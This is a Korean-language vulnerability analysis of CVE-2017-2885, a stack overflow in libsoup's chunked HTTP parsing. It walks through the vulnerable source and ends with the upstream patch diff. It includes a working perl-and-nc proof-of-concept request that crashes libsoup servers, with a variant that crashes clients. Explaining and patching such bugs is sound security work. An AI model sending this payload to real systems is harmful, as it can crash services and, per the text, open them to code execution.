CVE-2017-2885
libsoup는 GNOME HTTP client/server 라이브러리로 GNOME 응용 프로그램과 호환성이 좋고 스레드 응용 프로그램을 위한 동기식 API도 제공하고 있다. 최근 스택 기반 버퍼 오버플로우가 발생(CVE-2017-2885)되어 조치되었다. 해당 취약점에 대해서 알아보자.
CVE-2017-2885
GNOME libsoup 2.58 버전에서 HTTP 요청 값을 이용하여 스택 기반 오버플로우를 유발시켜 원격 코드실행이 가능하다.
GNOME libsoup는 HTTP 요청 및 응답을 처리하기 위한 클라이언트 및 서버 측 코드를 구현할 때 사용되는 라이브러리이다. 일반적으로 기본 웹 서버 기능을 위해 미디어 스트리밍 서버와 같은 다른 응용 프로그램에 내장되어 사용된다. 또한 독립적으로 사용할 수 있으며 하드웨어 장치에 내장도 가능하다.
chunk로 인코딩된 데이터가 포함된 HTTP 요청을 처리할 때, 부적절한 경계 검증으로 인해 정적으로 크기가 지정된 스택에 대용량 메모리를 복사할 수 있다. 오버플로우를 유발하는 코드는 libsoup/soup-body-input-stream.c 파일의 soup_body_input_stream_read_chunked 함수이다.
  static gssize
  soup_body_input_stream_read_chunked (SoupBodyInputStream  *bistream,
                                       void                 *buffer,
                                       gsize                 count,
                                       gboolean              blocking,
                                       GCancellable         *cancellable,
                                       GError              **error)
  {
          SoupFilterInputStream *fstream = SOUP_FILTER_INPUT_STREAM (bistream->priv->base_stream);
          char metabuf[128];                                [1]
          gssize nread;
          gboolean got_line;
스택에 [1] 버퍼를 할당한다. chunk로 인코딩된 HTTP 요청 본문을 처리하는 과정에서soup_filter_input_stream_read_line함수가 호출된다.
case SOUP_BODY_INPUT_STREAM_STATE_CHUNK_END:
                  nread = soup_filter_input_stream_read_line (
                          SOUP_FILTER_INPUT_STREAM (bistream->priv->base_stream),
                          metabuf, sizeof (metabuf), blocking,
                          &got_line, cancellable, error);
위의 코드에서 soup_filter_input_stream_read_line 함수의 인자 값으로 metabuf와 metabuf길이가 전달되는 것을 볼 수 있다. 이 함수는soup_filter_input_stream_read_until을 감싸는 래퍼함수이며 줄 바꿈 문자를 구분 기호로 하여 호출된다 :
gssize
  soup_filter_input_stream_read_line (SoupFilterInputStream  *fstream,
                                      void                   *buffer,
                                      gsize                   length,
                                      gboolean                blocking,
                                      gboolean               *got_line,
                                      GCancellable           *cancellable,
                                      GError                **error)
  {
          return soup_filter_input_stream_read_until (fstream, buffer, length,
                                                      "\n", 1, blocking,
                                                      TRUE, got_line,
                                                      cancellable, error);
  }
soup_filter_input_stream_read_until함수에서 입력 스트림 버퍼를 읽는다.
          /* Scan for the boundary */
          end = buf + fstream->priv->buf->len;                                        [2]
          if (!eof)
                  end -= boundary_length;
          for (p = buf; p <= end; p++) {                                                [3]
                  if (*p == *(guint8*)boundary &&
                      !memcmp (p, boundary, boundary_length)) {                        [4]
                          if (include_boundary)
                                  p += boundary_length;
                          *got_boundary = TRUE;
                          break;
                  }
          }
          if (!*got_boundary && fstream->priv->buf->len < length && !eof)
                  goto fill_buffer;
          /* Return everything up to 'p' (which is either just after the boundary if
           * include_boundary is TRUE, just before the boundary if include_boundary is
           * FALSE, @boundary_len - 1 bytes before the end of the buffer, or end-of-
           * file).
           */
          return read_from_buf (fstream, buffer, p - buf);                                [5]
[2]에서 스트림 데이터의 끝 포인터가 계산된다. [3]에서 구분자(변수boundary, 줄 바꿈 문자)를 찾는 for 루프에서 끝 조건으로 사용된다. [4] 포인터p는 줄 바꿈 문자가 발견 될 때까지 루프에서 증가된다. 마지막으로, [5]에서, 입력 스트림을 소스로, 버퍼를 목적지로, 줄 바꿈 문자까지의 길이를 offset으로하여 read_from_buf 함수를 호출한다. 이는 버퍼에 대한 검증없이 수행되어 read_from_buf 함수의memcpy 함수 호출로 버퍼 오버 플로우가 유발될 수 있다.
static gssize
  read_from_buf (SoupFilterInputStream *fstream, gpointer buffer, gsize count)
  {
          GByteArray *buf = fstream->priv->buf;
          if (buf->len < count)
                  count = buf->len;
          memcpy (buffer, buf->data, count);
다음과 같이 간단한 HTTP 요청 값을 구성하여 쉽게 취약점 테스트를 할 수 있다.
  GET / HTTP/1.0
  Transfer-Encoding: chunked
  1
  AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
요청 분석 시 chunk 크기는 1이 되고 파서는 ‘A’문자를 읽어 들이고 128자를 초과하는 문자열에 의해서 버퍼 오버플로우가 발생한다. 이로 인해 서버 충돌을 일으키거나 악의적인 사용자가 삽입한 원격 코드가 실행될 수 있다.
POC
  perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 .  "\r\n \r\n"' | nc <target> <port>
libsourp 소스에 포함된 examples/simple-httpd를 이용하여 간단히 취약점을 확인해볼 수 있다.
in terminal 1:
  ./examples/simple-httpd -p 12345
in terminal 2:
  perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 .  "\r\n \r\n"' | nc 127.0.0.1 12345
(and simple-httpd will segfault)
The bug also exists on the client side (ie, a malicious server/proxy can crash a client):
in terminal 1:
  perl -e 'print "HTTP/1.0 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 .  "\r\n \r\n"' | nc -l 127.0.0.1 12345
in terminal 2:
  ./examples/get http://127.0.0.1:12345/
(get segfaults)
Fix
길이 검증을 위한 코드가 추가된 것을 확인할 수 있다.
https://bugzilla.gnome.org/show_bug.cgi?id=785774
---
 libsoup/soup-filter-input-stream.c | 22 +++++++++++-----------
 1 file changed, 11 insertions(+), 11 deletions(-)
diff --git a/libsoup/soup-filter-input-stream.c b/libsoup/soup-filter-input-stream.c
index cde4d12..2c30bf9 100644
--- a/libsoup/soup-filter-input-stream.c
+++ b/libsoup/soup-filter-input-stream.c
@@ -198,7 +198,7 @@ soup_filter_input_stream_read_until (SoupFilterInputStream  *fstream,
                     GCancellable           *cancellable,
                     GError                **error)
 {
-   gssize nread;
+   gssize nread, read_length;
    guint8 *p, *buf, *end;
    gboolean eof = FALSE;
    GError *my_error = NULL;
@@ -251,10 +251,11 @@ soup_filter_input_stream_read_until (SoupFilterInputStream  *fstream,
    } else
        buf = fstream->priv->buf->data;
-   /* Scan for the boundary */
-   end = buf + fstream->priv->buf->len;
-   if (!eof)
-       end -= boundary_length;
+   /* Scan for the boundary within the range we can possibly return. */
+   if (include_boundary)
+       end = buf + MIN (fstream->priv->buf->len, length) - boundary_length;
+   else
+       end = buf + MIN (fstream->priv->buf->len - boundary_length, length);
    for (p = buf; p <= end; p++) {
        if (*p == *(guint8*)boundary &&
            !memcmp (p, boundary, boundary_length)) {
@@ -268,10 +269,9 @@ soup_filter_input_stream_read_until (SoupFilterInputStream  *fstream,
    if (!*got_boundary && fstream->priv->buf->len < length && !eof)
        goto fill_buffer;
-   /* Return everything up to 'p' (which is either just after the boundary if
-    * include_boundary is TRUE, just before the boundary if include_boundary is
-    * FALSE, @boundary_len - 1 bytes before the end of the buffer, or end-of-
-    * file).
-    */
-   return read_from_buf (fstream, buffer, p - buf);
+   if (eof && !*got_boundary)
+       read_length = MIN (fstream->priv->buf->len, length);
+   else
+       read_length = p - buf;
+   return read_from_buf (fstream, buffer, read_length);
 }
-- 
2.9.4